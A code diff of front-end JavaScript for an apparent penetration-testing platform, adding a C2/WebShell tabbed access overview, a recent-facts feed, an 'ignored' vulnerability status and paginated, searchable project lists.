+        ['tools', 'skills', 'knowledge', 'roles', 'agents'].forEach(function (k) {
             setEl('dashboard-resource-' + k, '-');
         });
-        var c2secErr = document.getElementById('dashboard-section-c2');
-        if (c2secErr) c2secErr.hidden = true;
+        var accessSecErr = document.getElementById('dashboard-section-access');
+        if (accessSecErr) accessSecErr.hidden = true;
         setRecentVulnsError();
+        setRecentFactsError();
         renderDashboardToolsBar(null);
         var ph = document.getElementById('dashboard-tools-pie-placeholder');
         if (ph) { ph.style.removeProperty('display'); ph.textContent = (typeof window.t === 'function' ? window.t('dashboard.noCallData') : '暂无调用数据'); }
@@ -467,53 +468,181 @@ async function refreshDashboard() {
     }
 }
 
-/** C2 概览条：依赖 /api/c2/listeners、sessions、tasks；任一路由失败则整块隐藏 */
-function renderDashboardC2Overview(listenersRes, sessionsRes, tasksRes) {
-    var section = document.getElementById('dashboard-section-c2');
+/** 接入概览：C2 / WebShell Tab 切换；C2 禁用时仅保留 WebShell Tab */
+function renderDashboardAccessOverview(listenersRes, sessionsRes, tasksRes, webshellRes) {
+    var section = document.getElementById('dashboard-section-access');
     if (!section) return;
-    if (listenersRes === null && sessionsRes === null && tasksRes === null) {
+
+    var c2ConfigOn = window.__c2Enabled !== false;
+    var webshellList = null;
+    if (Array.isArray(webshellRes)) webshellList = webshellRes;
+    else if (webshellRes && Array.isArray(webshellRes.connections)) webshellList = webshellRes.connections;
+    var wsApiOk = webshellRes !== null;
+    var c2ApiOk = listenersRes !== null || sessionsRes !== null || tasksRes !== null;
+    var showC2 = c2ConfigOn && c2ApiOk;
+    var showWs = wsApiOk;
+
+    section.dataset.c2Available = showC2 ? '1' : '0';
+    section.dataset.webshellAvailable = showWs ? '1' : '0';
+
+    if (!showC2 && !showWs) {
         section.hidden = true;
         return;
     }
-    var running = '-';
-    if (listenersRes && Array.isArray(listenersRes.listeners)) {
-        running = String(listenersRes.listeners.filter(function (l) {
-            return (l && (l.status || '').toLowerCase() === 'running');
-        }).length);
-    } else if (listenersRes === null) {
-        running = '-';
-    } else {
-        running = '0';
+
+    if (showC2) {
+        var running = '-';
+        if (listenersRes && Array.isArray(listenersRes.listeners)) {
+            running = String(listenersRes.listeners.filter(function (l) {
+                return (l && (l.status || '').toLowerCase() === 'running');
+            }).length);
+        } else if (listenersRes === null) {
+            running = '-';
+        } else {
+            running = '0';
+        }
+        var online = '-';
+        if (sessionsRes && Array.isArray(sessionsRes.sessions)) {
+            online = String(sessionsRes.sessions.filter(function (s) {
+                if (!s) return false;
+                var st = (s.status || '').toLowerCase();
+                return st === 'active' || st === 'sleeping';
+            }).length);
+        } else if (sessionsRes === null) {
+            online = '-';
+        } else {
+            online = '0';
+        }
+        var pending = '-';
+        if (tasksRes && typeof tasksRes.pending_queued_count === 'number') {
+            pending = String(tasksRes.pending_queued_count);
+        } else if (tasksRes === null) {
+            pending = '-';
+        } else {
+            pending = '0';
+        }
+        setEl('dashboard-c2-listeners-running', running);
+        setEl('dashboard-c2-sessions-online', online);
+        setEl('dashboard-c2-tasks-pending', pending);
     }
-    var online = '-';
-    if (sessionsRes && Array.isArray(sessionsRes.sessions)) {
-        online = String(sessionsRes.sessions.filter(function (s) {
-            if (!s) return false;
-            var st = (s.status || '').toLowerCase();
-            return st === 'active' || st === 'sleeping';
-        }).length);
-    } else if (sessionsRes === null) {
-        online = '-';
-    } else {
-        online = '0';
+
+    if (showWs) {
+        var wsCount = webshellList ? webshellList.length : 0;
+        setEl('dashboard-webshell-connections', formatNumber(wsCount));
+        renderDashboardWebshellRecent(webshellList || []);
     }
-    var pending = '-';
-    if (tasksRes && typeof tasksRes.pending_queued_count === 'number') {
-        pending = String(tasksRes.pending_queued_count);
-    } else if (tasksRes === null) {
-        pending = '-';
-    } else {
-        pending = '0';
-    }
-    setEl('dashboard-c2-listeners-running', running);
-    setEl('dashboard-c2-sessions-online', online);
-    setEl('dashboard-c2-tasks-pending', pending);
+
     section.hidden = false;
+    syncDashboardAccessTabs();
     if (typeof applyTranslations === 'function') {
         try { applyTranslations(section); } catch (_e) { /* ignore */ }
     }
 }
 
+/** C2 / WebShell Tab 切换（样式与「最近漏洞 / 近期事实」一致） */
+function switchDashboardAccessTab(tab) {
+    tab = tab === 'webshell' ? 'webshell' : 'c2';
+    dashboardState.accessTab = tab;
+    applyDashboardAccessTabUI(tab);
+}
+
+function applyDashboardAccessTabUI(tab) {
+    var tabC2 = document.getElementById('dashboard-access-tab-c2');
+    var tabWs = document.getElementById('dashboard-access-tab-webshell');
+    var panelC2 = document.getElementById('dashboard-access-panel-c2');
+    var panelWs = document.getElementById('dashboard-access-panel-webshell');
+    if (tabC2) {
+        tabC2.classList.toggle('is-active', tab === 'c2');
+        tabC2.setAttribute('aria-selected', tab === 'c2' ? 'true' : 'false');
+    }
+    if (tabWs) {
+        tabWs.classList.toggle('is-active', tab === 'webshell');
+        tabWs.setAttribute('aria-selected', tab === 'webshell' ? 'true' : 'false');
+    }
+    if (panelC2) panelC2.hidden = tab !== 'c2';
+    if (panelWs) panelWs.hidden = tab !== 'webshell';
+    updateDashboardAccessViewAll(tab);
+}
+
+function updateDashboardAccessViewAll(tab) {
+    var link = document.getElementById('dashboard-access-view-all');
+    if (!link) return;
+    if (tab === 'webshell') {
+        link.onclick = function () { try { switchPage('webshell'); } catch (_) {} };
+        link.setAttribute('data-i18n', 'dashboard.webshellGoManage');
+        link.textContent = dt('dashboard.webshellGoManage', null, '进入 WebShell →');
+    } else {
+        link.onclick = function () { try { switchPage('c2-listeners'); } catch (_) {} };
+        link.setAttribute('data-i18n', 'dashboard.c2GoManage');
+        link.textContent = dt('dashboard.c2GoManage', null, '进入 C2 →');
+    }
+}
+
+/** 根据可用模块同步 Tab 可见性与默认选中项 */
+function syncDashboardAccessTabs() {
+    var section = document.getElementById('dashboard-section-access');
+    if (!section || section.hidden) return;
+
+    var showC2 = section.dataset.c2Available === '1';
+    var showWs = section.dataset.webshellAvailable === '1';
+    var tabNav = document.getElementById('dashboard-access-tabs');
+    var tabC2 = document.getElementById('dashboard-access-tab-c2');
+    var tabWs = document.getElementById('dashboard-access-tab-webshell');
+
+    if (tabC2) tabC2.hidden = !showC2;
+    if (tabWs) tabWs.hidden = !showWs;
+    if (tabNav) tabNav.hidden = false;
+
+    var tab = dashboardState.accessTab;
+    if (tab === 'c2' && !showC2) tab = 'webshell';
+    if (tab === 'webshell' && !showWs) tab = 'c2';
+    if (!showC2 && showWs) tab = 'webshell';
+    if (showC2 && !showWs) tab = 'c2';
+    dashboardState.accessTab = tab;
+    applyDashboardAccessTabUI(tab);
+}
+
+/** WebShell 接入概览：最近 3 条连接摘要 */
+function renderDashboardWebshellRecent(list) {
+    var container = document.getElementById('dashboard-webshell-recent');
+    if (!container) return;
+    container.innerHTML = '';
+    if (!list || list.length === 0) {
+        container.hidden = true;
+        return;
+    }
+    var sorted = list.slice().sort(function (a, b) {
+        var ta = (a && a.createdAt) ? Date.parse(a.createdAt) : 0;
+        var tb = (b && b.createdAt) ? Date.parse(b.createdAt) : 0;
+        return tb - ta;
+    });
+    var recent = sorted.slice(0, 3);
+    recent.forEach(function (conn) {
+        if (!conn) return;
+        var item = document.createElement('div');
+        item.className = 'dashboard-webshell-recent-item';
+        item.setAttribute('role', 'button');
+        item.setAttribute('tabindex', '0');
+        var label = (conn.remark || '').trim() || (conn.url || '').trim() || (conn.id || '');
+        var typeTag = (conn.type || 'shell').toUpperCase();
+        item.innerHTML =
+            '<span class="dashboard-webshell-recent-type">' + esc(typeTag) + '</span>' +
+            '<span class="dashboard-webshell-recent-label" title="' + esc(label) + '">' + esc(label) + '</span>';
+        var openWs = function () {
+            try { switchPage('webshell'); } catch (_) {}
+        };
+        item.addEventListener('click', openWs);
+        item.addEventListener('keydown', function (e) {
+            if (e.key === 'Enter' || e.key === ' ') {
+                e.preventDefault();
+                openWs();
+            }
+        });
+        container.appendChild(item);
+    });
+    container.hidden = false;
+}
+
 function setEl(id, text) {
     const el = document.getElementById(id);
     if (el) el.textContent = text;
@@ -1088,12 +1217,9 @@ function renderRecentVulns(res) {
     if (list.length === 0) {
         if (empty) {
             empty.hidden = false;
-            // 升级版空状态：图标 + 标题 + 描述 + 行动按钮，比纯文本更易引导用户下一步
+            // 升级版空状态：标题 + 描述 + 行动按钮，比纯文本更易引导用户下一步
             empty.classList.add('is-rich');
             empty.innerHTML = (
-                '<span class="dashboard-empty-icon" aria-hidden="true">' +
-                '<svg width="40" height="40" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/><path d="M9 12l2 2 4-4"/></svg>' +
-                '</span>' +
                 '<div class="dashboard-empty-title">' + esc(dt('dashboard.noVulnYet', null, '暂无最近漏洞')) + '</div>' +
                 '<div class="dashboard-empty-desc">' + esc(dt('dashboard.noVulnDesc', null, '此处展示近期漏洞记录；在对话中完成检测后，新结果会出现在这里')) + '</div>' +
                 '<button type="button" class="dashboard-empty-action" data-action="scan">' +
@@ -1109,7 +1235,7 @@ function renderRecentVulns(res) {
         empty.classList.remove('is-rich');
     }
 
-    list.slice(0, 5).forEach(function (v) {
+    list.slice(0, 10).forEach(function (v) {
         const sev = (v.severity || 'info').toLowerCase();
         const status = (v.status || 'open').toLowerCase();
         const item = document.createElement('a');
@@ -1130,12 +1256,210 @@ function renderRecentVulns(res) {
     });
 }
 
+// 最近漏洞 / 近期事实 Tab 切换（共用列表区域，查看全部链接随 Tab 变化）
+function switchDashboardFeedTab(tab) {
+    tab = tab === 'facts' ? 'facts' : 'vulns';
+    dashboardState.recentFeedTab = tab;
+
+    var tabVulns = document.getElementById('dashboard-feed-tab-vulns');
+    var tabFacts = document.getElementById('dashboard-feed-tab-facts');
+    var panelVulns = document.getElementById('dashboard-feed-panel-vulns');
+    var panelFacts = document.getElementById('dashboard-feed-panel-facts');
+    if (tabVulns) {
+        tabVulns.classList.toggle('is-active', tab === 'vulns');
+        tabVulns.setAttribute('aria-selected', tab === 'vulns' ? 'true' : 'false');
+    }
+    if (tabFacts) {
+        tabFacts.classList.toggle('is-active', tab === 'facts');
+        tabFacts.setAttribute('aria-selected', tab === 'facts' ? 'true' : 'false');
+    }
+    if (panelVulns) panelVulns.hidden = tab !== 'vulns';
+    if (panelFacts) panelFacts.hidden = tab !== 'facts';
+    updateDashboardFeedViewAll(tab);
+}
+
+function updateDashboardFeedViewAll(tab) {
+    var link = document.getElementById('dashboard-feed-view-all');
+    if (!link) return;
+    if (tab === 'facts') {
+        link.onclick = function () { try { switchPage('projects'); } catch (_) {} };
+    } else {
+        link.onclick = function () { try { switchPage('vulnerabilities'); } catch (_) {} };
+    }
+}
+
+function setRecentFactsLoading() {
+    var wrap = document.getElementById('dashboard-recent-facts');
+    var empty = document.getElementById('dashboard-recent-facts-empty');
+    if (!wrap) return;
+    clearRecentFactsList(wrap);
+    if (empty) {
+        empty.hidden = false;
+        empty.classList.remove('is-rich');
+        empty.textContent = dt('common.loading', null, '加载中…');
+    }
+}
+
+function clearRecentFactsList(wrap) {
+    if (!wrap) return;
+    Array.from(wrap.querySelectorAll('.dashboard-recent-fact-item, .dashboard-recent-facts-meta')).forEach(function (n) { n.remove(); });
+}
+
+function setRecentFactsError() {
+    var wrap = document.getElementById('dashboard-recent-facts');
+    var empty = document.getElementById('dashboard-recent-facts-empty');
+    if (!wrap) return;
+    clearRecentFactsList(wrap);
+    if (empty) {
+        empty.hidden = false;
+        empty.classList.remove('is-rich');
+        empty.textContent = dt('common.loadFailed', null, '加载失败');
+    }
+}
+
+function factConfidenceShortLabel(confidence) {
+    var c = String(confidence || '').toLowerCase();
+    if (c === 'confirmed') return dt('projects.confidenceConfirmed', null, '已确认');
+    if (c === 'tentative') return dt('projects.confidenceTentative', null, '待确认');
+    return c || '—';
+}
+
+function factCategoryShortLabel(category) {
+    var raw = String(category || '').trim();
+    return raw || 'note';
+}
+
+// 按 project_id（回退 project_name）稳定映射 8 种配色，同一项目跨刷新颜色一致
+function projectFactProjectTone(projectId, projectName) {
+    var key = String(projectId || projectName || '').trim();
+    if (!key) return 0;
+    var hash = 0;
+    for (var i = 0; i < key.length; i++) {
+        hash = ((hash << 5) - hash) + key.charCodeAt(i);
+        hash |= 0;
+    }
+    return Math.abs(hash) % 8;
+}
+
+function openProjectFactFromDashboard(projectId, factKey) {
+    if (!projectId) return;
+    if (typeof switchPage === 'function') {
+        switchPage('projects');
+    }
+    setTimeout(async function () {
+        if (typeof window.initProjectsPage === 'function') {
+            await window.initProjectsPage();
+        }
+        if (typeof window.selectProject === 'function') {
+            await window.selectProject(projectId);
+        }
+        if (typeof window.switchProjectTab === 'function') {
+            window.switchProjectTab('facts');
+        }
+        if (factKey && typeof window.viewProjectFactBody === 'function') {
+            window.viewProjectFactBody(factKey);
+        }
+    }, 350);
+}
+
+function renderRecentFacts(res) {
+    var wrap = document.getElementById('dashboard-recent-facts');
+    var empty = document.getElementById('dashboard-recent-facts-empty');
+    if (!wrap) return;
+
+    clearRecentFactsList(wrap);
+
+    var list = (res && Array.isArray(res.recent_facts)) ? res.recent_facts : [];
+    var totals = (res && res.totals) ? res.totals : {};
+    var activeProjects = totals.active_projects || 0;
+    var totalFacts = totals.total_facts || 0;
+
+    if (list.length === 0) {
+        if (empty) {
+            empty.hidden = false;
+            empty.classList.add('is-rich');
+            var desc = activeProjects > 0
+                ? dt('dashboard.noFactsDesc', null, '在绑定项目的对话中，Agent 会自动记录目标、漏洞、攻击链等事实')
+                : dt('projects.selectOrCreateHint', null, '项目用于跨对话共享「事实黑板」：目标、环境、认证等信息会在绑定项目的对话中自动注入。');
+            var ctaLabel = activeProjects > 0
+                ? dt('dashboard.goToChat', null, '前往对话')
+                : dt('dashboard.createFirstProjectBtn', null, '创建第一个项目');
+            var ctaAction = activeProjects > 0 ? 'chat' : 'project';
+            empty.innerHTML = (
+                '<div class="dashboard-empty-title">' + esc(dt('dashboard.noFactsYet', null, '暂无近期事实')) + '</div>' +
+                '<div class="dashboard-empty-desc">' + esc(desc) + '</div>' +
+                '<button type="button" class="dashboard-empty-action" data-action="' + esc(ctaAction) + '">' +
+                esc(ctaLabel) + ' →</button>'
+            );
+            var btn = empty.querySelector('[data-action]');
+            if (btn) {
+                btn.onclick = function () {
+                    var action = btn.getAttribute('data-action');
+                    if (action === 'project') {
+                        try { switchPage('projects'); } catch (_) {}
+                        setTimeout(function () {
+                            if (typeof window.showNewProjectModal === 'function') {
+                                window.showNewProjectModal();
+                            }
+                        }, 350);
+                    } else {
+                        try { switchPage('chat'); } catch (_) {}
+                    }
+                };
+            }
+        }
+        return;
+    }
+
+    if (empty) {
+        empty.hidden = true;
+        empty.classList.remove('is-rich');
+    }
+
+    list.slice(0, 10).forEach(function (f) {
+        if (!f) return;
+        var category = factCategoryShortLabel(f.category);
+        var confidence = String(f.confidence || 'tentative').toLowerCase();
+        var item = document.createElement('a');
+        item.className = 'dashboard-recent-fact-item';
+        item.setAttribute('role', 'button');
+        item.tabIndex = 0;
+        var pid = f.project_id || '';
+        var fkey = f.fact_key || '';
+        item.onclick = function () { openProjectFactFromDashboard(pid, fkey); };
+        item.onkeydown = function (e) {
+            if (e.key === 'Enter' || e.key === ' ') {
+                e.preventDefault();
+                item.click();
+            }
+        };
+
+        // 置顶列始终占位，避免有/无图钉时后续列错位
+        var pinMark = '<span class="dashboard-recent-fact-pin' + (f.pinned ? ' is-pinned' : '') + '"' +
+            (f.pinned ? (' title="' + esc(dt('projects.pinned', null, '置顶')) + '"') : '') +
+            ' aria-hidden="true">' + (f.pinned ? '📌' : '') + '</span>';
+        var projectLabel = (f.project_name || '').trim() || dt('projects.defaultProjectName', null, '项目');
+        var factKeyLabel = (f.fact_key || '').trim() || '—';
+        var projectTone = projectFactProjectTone(pid, projectLabel);
+        var projectCol = '<span class="dashboard-recent-fact-project proj-tone-' + projectTone + '" title="' + esc(projectLabel) + '">' + esc(projectLabel) + '</span>';
+        var categoryBadge = '<span class="dashboard-recent-fact-cat cat-' + esc(category.toLowerCase().replace(/[^a-z0-9_-]/g, '')) + '">' + esc(category) + '</span>';
+        var confBadge = '<span class="dashboard-recent-fact-conf conf-' + esc(confidence) + '">' + esc(factConfidenceShortLabel(confidence)) + '</span>';
+        var summary = '<span class="dashboard-recent-fact-summary" title="' + esc(f.summary || '') + '">' + esc(f.summary || dt('common.untitled', null, '无标题')) + '</span>';
+        var factKeyCol = '<span class="dashboard-recent-fact-key" title="' + esc(factKeyLabel) + '">' + esc(factKeyLabel) + '</span>';
+        var time = '<span class="dashboard-recent-fact-time">' + esc(timeAgoStr(f.updated_at)) + '</span>';
+
+        item.innerHTML = pinMark + categoryBadge + confBadge + summary + factKeyCol + projectCol + time;
+        wrap.appendChild(item);
+    });
+}
+
 // 漏洞状态映射：把 status 字符串规整到 4 类（避免脏数据）
 function statusKey(s) {
     s = String(s || '').toLowerCase();
     if (s === 'fixed' || s === 'closed' || s === 'resolved') return 'fixed';
     if (s === 'confirmed') return 'confirmed';
     if (s === 'false_positive' || s === 'false-positive' || s === 'fp') return 'fp';
+    if (s === 'ignored') return 'ignored';
     return 'open';
 }
 
@@ -1144,6 +1468,7 @@ function statusShortLabel(s) {
     if (k === 'fixed') return dt('dashboard.statusFixed', null, '已修复');
     if (k === 'confirmed') return dt('dashboard.statusConfirmed', null, '已确认');
     if (k === 'fp') return dt('dashboard.statusFalsePositive', null, '误报');
+    if (k === 'ignored') return dt('dashboard.statusIgnored', null, '已忽略');
     return dt('dashboard.statusOpen', null, '待处理');
 }
 
@@ -1224,7 +1549,7 @@ function renderVulnStatusPanel(byStatus, total) {
 //
 // bySeverityOpen: { critical, high, medium, low }（只统计 status=open 的漏洞；info 不计入）
 // totalOpen:      待处理漏洞总数（= critical + high + medium + low），仅用于"全无待处理 → safe"判断
-// recentVulnsRes: /api/vulnerabilities?limit=5 响应（用于"最近发现"时间，口径是全量，与处置状态无关）
+// recentVulnsRes: /api/vulnerabilities?limit=10 响应（用于"最近发现"时间，口径是全量，与处置状态无关）
 function renderSeverityInsights(bySeverityOpen, totalOpen, recentVulnsRes) {
     var riskBox = document.querySelector('.dashboard-severity-insight-risk');
     var levelEl = document.getElementById('dashboard-severity-risk-level');

web/static/js/knowledge.js

@@ -2055,7 +2055,7 @@ function showToastNotification(message, type = 'info') {
             position: fixed;
             top: 20px;
             right: 20px;
-            z-index: 10000;
+            z-index: 10100;
             display: flex;
             flex-direction: column;
             gap: 12px;

web/static/js/projects.js

@@ -3,6 +3,7 @@
  */
 let projectsCache = [];
 let projectsCacheAll = [];
+const PROJECTS_LIST_PAGE_SIZE_KEY = 'cyberstrike.projects_list_page_size';
 let currentProjectId = null;
 let currentProjectTab = 'facts';
 const projectNameById = {};
@@ -167,23 +168,128 @@ function rebuildProjectNameMap(list) {
     });
 }
 
-async function fetchProjectsList(includeArchived) {
+function getProjectsListPageSize() {
+    try {
+        const saved = parseInt(localStorage.getItem(PROJECTS_LIST_PAGE_SIZE_KEY), 10);
+        if ([20, 50, 100].includes(saved)) return saved;
+    } catch (e) { /* ignore */ }
+    return 50;
+}
+
+let projectsListPagination = { page: 1, pageSize: getProjectsListPageSize(), total: 0 };
+let projectsListSearch = '';
+let _projectsListSearchDebounce = null;
+
+function parseListTotalValue(raw, itemsLength) {
+    if (typeof raw === 'number' && Number.isFinite(raw) && raw >= 0) return raw;
+    if (raw != null && raw !== '') {
+        const n = parseInt(String(raw), 10);
+        if (Number.isFinite(n) && n >= 0) return n;
+    }
+    return itemsLength;
+}
+
+function parseListOffsetValue(raw) {
+    if (typeof raw === 'number' && Number.isFinite(raw) && raw >= 0) return raw;
+    if (raw != null && raw !== '') {
+        const n = parseInt(String(raw), 10);
+        if (Number.isFinite(n) && n >= 0) return n;
+    }
+    return 0;
+}
+
+function parseProjectsListResponse(data) {
+    if (Array.isArray(data)) {
+        return { items: data, total: data.length, limit: data.length, offset: 0, isLegacyArray: true };
+    }
+    const items = data.projects || data.items || [];
+    const arr = Array.isArray(items) ? items : [];
+    return {
+        items: arr,
+        total: parseListTotalValue(data.total, arr.length),
+        limit: parseListTotalValue(data.limit, arr.length) || arr.length,
+        offset: parseListOffsetValue(data.offset),
+        isLegacyArray: false,
+    };
+}
+
+async function resolveProjectsListTotal(params, parsed, pageSize, offset) {
+    const serverTotal = parsed.total;
+    // 服务端 total 明确大于当前页末尾 → 直接信任
+    if (!parsed.isLegacyArray && serverTotal > offset + parsed.items.length) {
+        return serverTotal;
+    }
+    // 不足一页 → 已是最后一页
+    if (parsed.items.length < pageSize) {
+        return Math.max(serverTotal, offset + parsed.items.length);
+    }
+    // 满页但 total 可能被误算为 items.length → 探测下一页
+    const probe = new URLSearchParams(params);
+    probe.set('offset', String(offset + pageSize));
+    probe.set('limit', '1');
+    try {
+        const res = await apiFetch(`/api/projects?${probe}`);
+        if (!res.ok) return Math.max(serverTotal, offset + parsed.items.length);
+        const probeParsed = parseProjectsListResponse(await res.json());
+        if (probeParsed.total > serverTotal) return probeParsed.total;
+        if (probeParsed.items.length > 0) {
+            return Math.max(serverTotal, offset + pageSize + 1);
+        }
+    } catch (e) { /* ignore */ }
+    return Math.max(serverTotal, offset + parsed.items.length);
+}
+
+async function fetchAllProjects(includeArchived) {
     const showArchived = includeArchived || document.getElementById('projects-show-archived')?.checked;
-    const url = showArchived ? '/api/projects?limit=200' : '/api/projects?status=active&limit=200';
-    const res = await apiFetch(url);
+    let all = [];
+    const pageSize = 200;
+    let offset = 0;
+    let total = Infinity;
+    while (all.length < total) {
+        const params = new URLSearchParams({ limit: String(pageSize), offset: String(offset) });
+        if (!showArchived) params.set('status', 'active');
+        const res = await apiFetch(`/api/projects?${params}`);
+        if (!res.ok) throw new Error(tp('projects.loadProjectsFailed'));
+        const parsed = parseProjectsListResponse(await res.json());
+        all = all.concat(parsed.items);
+        total = parsed.total;
+        if (!parsed.items.length) break;
+        offset += parsed.items.length;
+    }
+    return all;
+}
+
+async function fetchProjectsList(includeArchived, opts = {}) {
+    const showArchived = includeArchived || document.getElementById('projects-show-archived')?.checked;
+    const page = opts.page ?? projectsListPagination.page;
+    const pageSize = opts.pageSize ?? getProjectsListPageSize();
+    const search = opts.search !== undefined ? opts.search : projectsListSearch;
+    projectsListSearch = search;
+    const offset = (page - 1) * pageSize;
+    const params = new URLSearchParams({ limit: String(pageSize), offset: String(offset) });
+    if (search) params.set('search', search);
+    if (!showArchived) params.set('status', 'active');
+    const res = await apiFetch(`/api/projects?${params}`);
     if (!res.ok) throw new Error(tp('projects.loadProjectsFailed'));
-    const data = await res.json();
-    projectsCache = Array.isArray(data) ? data : [];
-    rebuildProjectNameMap(projectsCache);
-    _projectsListReady = true;
+    const parsed = parseProjectsListResponse(await res.json());
+    const total = await resolveProjectsListTotal(params, parsed, pageSize, offset);
+    projectsCache = parsed.items;
+    projectsListPagination = { page, pageSize: pageSize, total };
+    rebuildProjectNameMap(projectsCacheAll.length ? projectsCacheAll : projectsCache);
     return projectsCache;
 }
 
-/** 对话页等项目选择器：确保列表已拉取（去重并发请求） */
+/** 对话页等项目选择器：确保全量列表已拉取（去重并发请求） */
 async function ensureProjectsLoaded(force) {
-    if (!force && _projectsListReady) return projectsCache;
+    if (!force && _projectsListReady) return projectsCacheAll;
     if (!force && _projectsFetchPromise) return _projectsFetchPromise;
-    _projectsFetchPromise = fetchProjectsList(false)
+    _projectsFetchPromise = fetchAllProjects(false)
+        .then((list) => {
+            projectsCacheAll = list;
+            rebuildProjectNameMap(projectsCacheAll);
+            _projectsListReady = true;
+            return projectsCacheAll;
+        })
         .catch((e) => {
             _projectsListReady = false;
             throw e;
@@ -204,9 +310,10 @@ async function ensureDefaultActiveProjectForNewChat() {
         await ensureProjectsLoaded();
         const cur = getActiveProjectId();
         if (cur && isActiveChatProjectId(cur)) return cur;
+        const source = projectsCacheAll.length ? projectsCacheAll : projectsCache;
         const first =
-            projectsCache.find((p) => p.pinned && p.status !== 'archived') ||
-            projectsCache.find((p) => p.status !== 'archived');
+            source.find((p) => p.pinned && p.status !== 'archived') ||
+            source.find((p) => p.status !== 'archived');
         if (first) {
             setActiveProjectId(first.id);
             return first.id;
@@ -238,6 +345,8 @@ async function initProjectsPage() {
     initProjectsModalEscape();
     syncProjectsModalBodyLock();
     updateProjectsDetailVisibility();
+    projectsListPagination.pageSize = getProjectsListPageSize();
+    renderProjectsPagination();
     await loadProjectsList();
     if (!currentProjectId && projectsCache.length) {
         const fromHash = new URLSearchParams(window.location.hash.split('?')[1] || '').get('id');
@@ -250,8 +359,19 @@ async function initProjectsPage() {
 }
 
 async function loadProjectsList() {
+    _projectsListReady = false;
+    projectsCacheAll = [];
+    projectsListPagination.pageSize = getProjectsListPageSize();
     await fetchProjectsList();
     renderProjectsSidebar();
+    renderProjectsPagination();
+    try {
+        projectsCacheAll = await fetchAllProjects();
+        rebuildProjectNameMap(projectsCacheAll);
+        _projectsListReady = true;
+    } catch (e) {
+        console.warn(e);
+    }
     if (typeof refreshChatProjectSelector === 'function') {
         refreshChatProjectSelector();
     }
@@ -277,7 +397,7 @@ function updateProjectsDetailVisibility() {
 
 function updateProjectsListCount() {
     const el = document.getElementById('projects-list-count');
-    if (el) el.textContent = String(projectsCache.length);
+    if (el) el.textContent = String(projectsListPagination.total || projectsCache.length);
 }
 
 /** 事实分类 → 徽章样式（与 fact_template.go 常量对齐） */
@@ -343,9 +463,10 @@ function formatVulnStatusBadge(status) {
         confirmed: 'vulnerabilityPage.statusConfirmed',
         fixed: 'vulnerabilityPage.statusFixed',
         false_positive: 'vulnerabilityPage.statusFalsePositive',
+        ignored: 'vulnerabilityPage.statusIgnored',
     };
     const label = labelMap[s] ? tp(labelMap[s]) : status || '—';
-    const cls = ['open', 'confirmed', 'fixed', 'false_positive'].includes(s) ? s : 'open';
+    const cls = ['open', 'confirmed', 'fixed', 'false_positive', 'ignored'].includes(s) ? s : 'open';
     return `<span class="status-badge status-${escapeHtml(cls)}">${escapeHtml(label)}</span>`;
 }
 
@@ -385,26 +506,97 @@ function getProjectsListFilter() {
 }
 
 function filterProjectsList() {
-    renderProjectsSidebar();
+    if (_projectsListSearchDebounce) clearTimeout(_projectsListSearchDebounce);
+    _projectsListSearchDebounce = setTimeout(() => {
+        _projectsListSearchDebounce = null;
+        const q = getProjectsListFilter();
+        projectsListPagination.page = 1;
+        fetchProjectsList(undefined, { page: 1, search: q })
+            .then(() => {
+                renderProjectsSidebar();
+                renderProjectsPagination();
+            })
+            .catch((e) => console.warn(e));
+    }, 280);
+}
+
+function goProjectsPage(page) {
+    const totalPages = Math.max(1, Math.ceil((projectsListPagination.total || 0) / projectsListPagination.pageSize) || 1);
+    const next = Math.min(Math.max(1, page), totalPages);
+    if (next === projectsListPagination.page) return;
+    fetchProjectsList(undefined, { page: next })
+        .then(() => {
+            renderProjectsSidebar();
+            renderProjectsPagination();
+            const listEl = document.getElementById('projects-list');
+            if (listEl) listEl.scrollTop = 0;
+        })
+        .catch((e) => console.warn(e));
+}
+
+function changeProjectsPageSize() {
+    const sel = document.getElementById('projects-page-size-pagination');
+    const newSize = sel ? parseInt(sel.value, 10) : 50;
+    if (![20, 50, 100].includes(newSize)) return;
+    try {
+        localStorage.setItem(PROJECTS_LIST_PAGE_SIZE_KEY, String(newSize));
+    } catch (e) { /* ignore */ }
+    projectsListPagination.pageSize = newSize;
+    projectsListPagination.page = 1;
+    fetchProjectsList(undefined, { page: 1, pageSize: newSize })
+        .then(() => {
+            renderProjectsSidebar();
+            renderProjectsPagination();
+        })
+        .catch((e) => console.warn(e));
+}
+
+function renderProjectsPagination() {
+    const el = document.getElementById('projects-pagination');
+    if (!el) return;
+    const { page, pageSize, total } = projectsListPagination;
+    const totalPages = Math.max(1, Math.ceil(total / pageSize) || 1);
+    const navDisabled = total === 0 || totalPages <= 1;
+    el.hidden = false;
+    const start = total === 0 ? 0 : (page - 1) * pageSize + 1;
+    const end = total === 0 ? 0 : Math.min(page * pageSize, total);
+    const infoText = tpFmt('projects.paginationRange', `${start}-${end}/${total}`, { start, end, total });
+    const pageText = tpFmt('projects.paginationPage', `${page}/${totalPages}`, { page, total: totalPages });
+    el.innerHTML = `
+        <div class="sidebar-list-pagination-inner sidebar-list-pagination-inner--compact">
+            <span class="pagination-info">${escapeHtml(infoText)}</span>
+            <div class="pagination-controls">
+                <button type="button" class="btn-icon-pagination" onclick="goProjectsPage(${page - 1})" ${page <= 1 || navDisabled ? 'disabled' : ''} title="${escapeHtml(tp('projects.paginationPrev'))}" aria-label="${escapeHtml(tp('projects.paginationPrev'))}">‹</button>
+                <span class="pagination-page">${escapeHtml(pageText)}</span>
+                <button type="button" class="btn-icon-pagination" onclick="goProjectsPage(${page + 1})" ${page >= totalPages || navDisabled ? 'disabled' : ''} title="${escapeHtml(tp('projects.paginationNext'))}" aria-label="${escapeHtml(tp('projects.paginationNext'))}">›</button>
+            </div>
+            <label class="pagination-page-size">
+                ${escapeHtml(tp('projects.paginationPerPage'))}
+                <select id="projects-page-size-pagination" onchange="changeProjectsPageSize()">
+                    <option value="20" ${pageSize === 20 ? 'selected' : ''}>20</option>
+                    <option value="50" ${pageSize === 50 ? 'selected' : ''}>50</option>
+                    <option value="100" ${pageSize === 100 ? 'selected' : ''}>100</option>
+                </select>
+            </label>
+        </div>`;
 }
 
 function renderProjectsSidebar() {
     const el = document.getElementById('projects-list');
     if (!el) return;
     updateProjectsListCount();
-    const q = getProjectsListFilter();
-    const list = q
-        ? projectsCache.filter((p) => (p.name || '').toLowerCase().includes(q) || (p.description || '').toLowerCase().includes(q))
-        : projectsCache;
+    const list = projectsCache;
     if (!projectsCache.length) {
